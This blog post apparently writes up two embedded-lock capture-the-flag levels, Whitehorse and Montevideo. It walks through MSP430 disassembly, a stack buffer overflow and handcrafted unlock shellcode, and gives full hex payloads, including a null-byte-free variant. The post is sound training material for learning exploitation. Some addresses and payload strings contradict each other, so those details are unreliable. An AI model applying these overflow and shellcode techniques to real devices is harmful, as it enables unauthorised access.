Well, isn’t this just turning out to be the longest winded CTF writeup series in the history of CTF writeup blog post series! Red teams will be breaking locks on Mars by the time we’re finished at this rate 😅

Whitehorse

Whitehorse - up in Yokon, named after the White Horse Rapids; before the river was dammed the rapids looked like the mane of a white horse.

Today we find ourselves in Whitehorse, Canada faced with revision c.01 of the LockIT Pro…

  • This lock is attached to the LockIT Pro HSM-2.
  • We have updated the lock firmware to connect with this hardware security module.

Checking back to the manual, we discover that the HSM-2 is connected directly to the deadbolt, so we probably won’t have a simple unlock or similar function to jump to.

4438 <main>
4438:  b012 f444      call	#0x44f4 <login>

44f4 <login>
44f4:  3150 f0ff      add	#0xfff0, sp
44f8:  3f40 7044      mov	#0x4470 "Enter the password to continue.", r15
44fc:  b012 9645      call	#0x4596 <puts>
4500:  3f40 9044      mov	#0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504:  b012 9645      call	#0x4596 <puts>
4508:  3e40 3000      mov	#0x30, r14
450c:  0f41           mov	sp, r15
450e:  b012 8645      call	#0x4586 <getsn>
4512:  0f41           mov	sp, r15
4514:  b012 4644      call	#0x4446 <conditional_unlock_door>
4518:  0f93           tst	r15
451a:  0324           jz	$+0x8 <login+0x2e>
451c:  3f40 c544      mov	#0x44c5 "Access granted.", r15
4520:  023c           jmp	$+0x6 <login+0x32>
4522:  3f40 d544      mov	#0x44d5 "That password is not correct.", r15
4526:  b012 9645      call	#0x4596 <puts>
452a:  3150 1000      add	#0x10, sp
452e:  3041           ret

I don’t know about you, but those login instructions smell a lot like an advertisement of vulnerabilities to me!

Looking at the three instructions after the puts calls, we can reason that the getsn call looks something like getsn(&sp, 0x30); so is reading up to 48 bytes and storing it on the stack. If we look back at the first instruction in login we can see that only 0x10 space is allocated on the stack which means we can overwrite 32 bytes of data on the stack; a classic stack overflow.

After this, register r15 is tested and a non-zero value indicates success to the user (but does not unlock the door – this is handled by the HSM).

We don’t even need to look at conditional_unlock_door, all our exploiting is going to happen in login.

A quick word on call and ret… When you call a function, the next address of the instruction after the call has finished is pushed onto the stack so that when you ret from that function you can pop the address from the stack into the pc and continue execution.

If we send “AAAAAAAAAAAAAAAA” (16 As) as our password and break at 0x452a, we can see this in action. Before executing add #0x10, sp we can see the stack looks like so.

32c0: 0000 0000 4645 0100 4645 0300 ba45 0000   ....FE..FE...E..
32d0: 0a00 0000 2a45 4141 4141 4141 4141 4141   ....*EAAAAAAAAAA
32e0: 4141 4141 4141 0044 0000 0000 0000 0000   AAAAAA.D........

With sp being 0x32d6, which is the location of the first “A”. Given we’ve provided the maximum length of allowed password (and we can count!) we know that after this instruction the sp will be at 0x326e; pointing to the address containing 0044 which after futzing the Endianness is 0x4400, or the address of main. How very enticing.

So we can we can take control of pc after the call to login finishes, but “How does that help us? We don’t have anywhere useful to redirect the program flow” I hear you cry. Looks like it is time to graduate to writing shellcode!

We already know how to unlock the door - we just call INT(0x7f), or in assembly pseudo-code:

push #0x7f
call #INT

The machine code for the above is 30127f00 for the push followed by b012XXXX for the call, where XX is the address of INT; so b0123245 for this binary.

The last piece of our exploit puzzle is redirecting flow to our shellcode. As discussed above, we know our input is stored on the stack starting from address 0x32d6.

Putting all the pieces together, we have:

  • 8 bytes of shellcode: 30127f00b0123245
  • 8 bytes of padding (8 As will do): 4242424242424242
  • the address of our shellcode: d632

Putting it all together we get 30127f00b01232454242424242424242d632; lets give it a go!

If we break at 0x32d6 we can watch our exploit in action. Stepping through the instructions we can see that pc soon ends up pointing to our input and happily executes the instructions; we’re in!

As is tradition, lets take a look at the Ghidra decompilation.

void login(void) {
  char *result;
  char password[16];

  puts(s_Enter_the_password_to_continue._4470);
  puts(s_Remember:_passwords_are_between_8_4490);
  getsn(password, 0x30);
  conditional_unlock_door(password);
  if (result == 0) {
    result = s_That_password_is_not_correct._44d5;
  }
  else {
    result = s_Access_granted._44c5;
  }
  puts(result);
  return;
}

I think I prefer dealing with the Assembly for this one, but it does make it fairly easy to spot the inconsistency between the size of the password buffer and the length argument passed to getsn.

Montevideo

Montevideo where the digital frontier meets the rhythm of the mellow Southern sea, and where our cybersecurity quest continues amidst echoes of Uruguayan tango.

Straight back on a plane, and off to Uruguay to hack some more locks! This time we’re faced with rev c.03 featuring some minor improvements.

  • Lockitall developers have rewritten the code to conform to the internal secure development process.
  • This lock is attached to the LockIT Pro HSM-2.

Not a lot to go off there, we’ve already met (and pwned) the HSM-2 in Whitehorse, and I think we’ve already learned by now that any claims by the Lockitall team of secure programming in their changelogs can probably be ignored.

Lets hook up our debugger and get stuck in.

4438 <main>
4438:  b012 f444      call	#0x44f4 <login>

44f4 <login>
44f4:  3150 f0ff      add	#0xfff0, sp
44f8:  3f40 7044      mov	#0x4470 "Enter the password to continue.", r15
44fc:  b012 b045      call	#0x45b0 <puts>
4500:  3f40 9044      mov	#0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504:  b012 b045      call	#0x45b0 <puts>
4508:  3e40 3000      mov	#0x30, r14
450c:  3f40 0024      mov	#0x2400, r15
4510:  b012 a045      call	#0x45a0 <getsn>
4514:  3e40 0024      mov	#0x2400, r14
4518:  0f41           mov	sp, r15
451a:  b012 dc45      call	#0x45dc <strcpy>
451e:  3d40 6400      mov	#0x64, r13
4522:  0e43           clr	r14
4524:  3f40 0024      mov	#0x2400, r15
4528:  b012 f045      call	#0x45f0 <memset>
452c:  0f41           mov	sp, r15
452e:  b012 4644      call	#0x4446 <conditional_unlock_door>
4532:  0f93           tst	r15
4534:  0324           jz	$+0x8 <login+0x48>
4536:  3f40 c544      mov	#0x44c5 "Access granted.", r15
453a:  023c           jmp	$+0x6 <login+0x4c>
453c:  3f40 d544      mov	#0x44d5 "That password is not correct.", r15
4540:  b012 b045      call	#0x45b0 <puts>
4544:  3150 1000      add	#0x10, sp
4548:  3041           ret

Eyeballing the login disassembly we can see it starts off very similar to that of the rev c.01 model; the first change being that getsn writes the input to 0x2400 instead of the stack, then we have some strcpy and memset calls before returning to familiar code.

Converting to pseudo-code we get something like this:

void login() {
  char password[16];
  puts(enterPasswordPrompt);
  puts(passwordLengthPrompt);
  getsn(&0x2400, 0x30);
  strcpy(&0x2400, &password);
  memset(&0x2400, 0, 0x64);;
  if (conditional_unlock_door()) {
    puts(accessGranted);
  } else {
    puts(accessDenied);
  }
}

We print some shit, then the important part happens; the getsn, strcpy, and memset calls are all we should care about for now.

  1. Firstly we read 0x30 bytes of input and store it in 0x2400.
  2. Then the input is copied using strcpy onto the stack.
  3. Finally the 0x2400-0x2464 memory ranged is zeroed (is that the word? zero’d?) out.

Clearly, they are onto the whole shellcode idea we used in Whitehorse… Alas they didn’t read the documentation properly; if they had read man 3 strcpy before blindly using it as a sanitisation measure, they would see that while the only limitation offered by strcpy/2 is that stops copying at the first null byte, or \0. My gut feeling here is that a similar exploit to that used above is going to get us inside, especially given they’re still potentially copying 0x30 bytes of data onto the stack where only 0x10 bytes have been reserved.

Last time we used 30127f00b01232454242424242424242d632 as our input, we’ll obviously need to change the addresses for sp and INT so we can take control of pc and point it at our shellcode which respectively can send 0x7f to INT and unlock the door. Our stack pointer is at 0x43ee and INT is at 0x454c so that would make our payload 30127f00b0124c454242424242424242ee43 (because endians).

Ah. Our payload contains a null byte, the 00 in 30127f00 which decompiles to push #0x7f. The easiest way to fool this seems like it could be simple maths. Instead of writing 0x007f directly to the stack, we could write 0xff80 to the stack and then subtract 0xff01 from that value in which case our payload would consist of:

mov #0xff8f, r10
sub #0xff10, r10
push r10
call #0x454c

Which when assembled looks like 3a408fff3a8010ff0a12b0124c45. That makes our complete payload:

  1. the shellcode: 3a4080ff3a800a12b0124c45
  2. some padding, in this case 2 bytes because our shellcode is longer.
  3. the address of the stack pointer: ee43.

Stick 3a408fff3a8010ff0a12b0124c454242ee43 into the lock and pow, another one bites the dust. There is definitely room to get a higher score here, but I’ll leave this as an exercise to the reader (and maybe we can re-visit later to improve our payloads).

I don’t imagine it’ll be much different, but this is what Ghidra makes of the login function

void login(void) {
  char password[16];
  puts(enterPasswordPrompt);
  puts(passwordLengthPrompt);
  getsn(0x2400, 0x30);
  strcpy(password, 0x2400);
  memset(0x2400, 0, 0x64);
  if (conditional_unlock_door(password)) {
    puts(accessGranted);
  } else {
    puts(accessDenied);
  }
}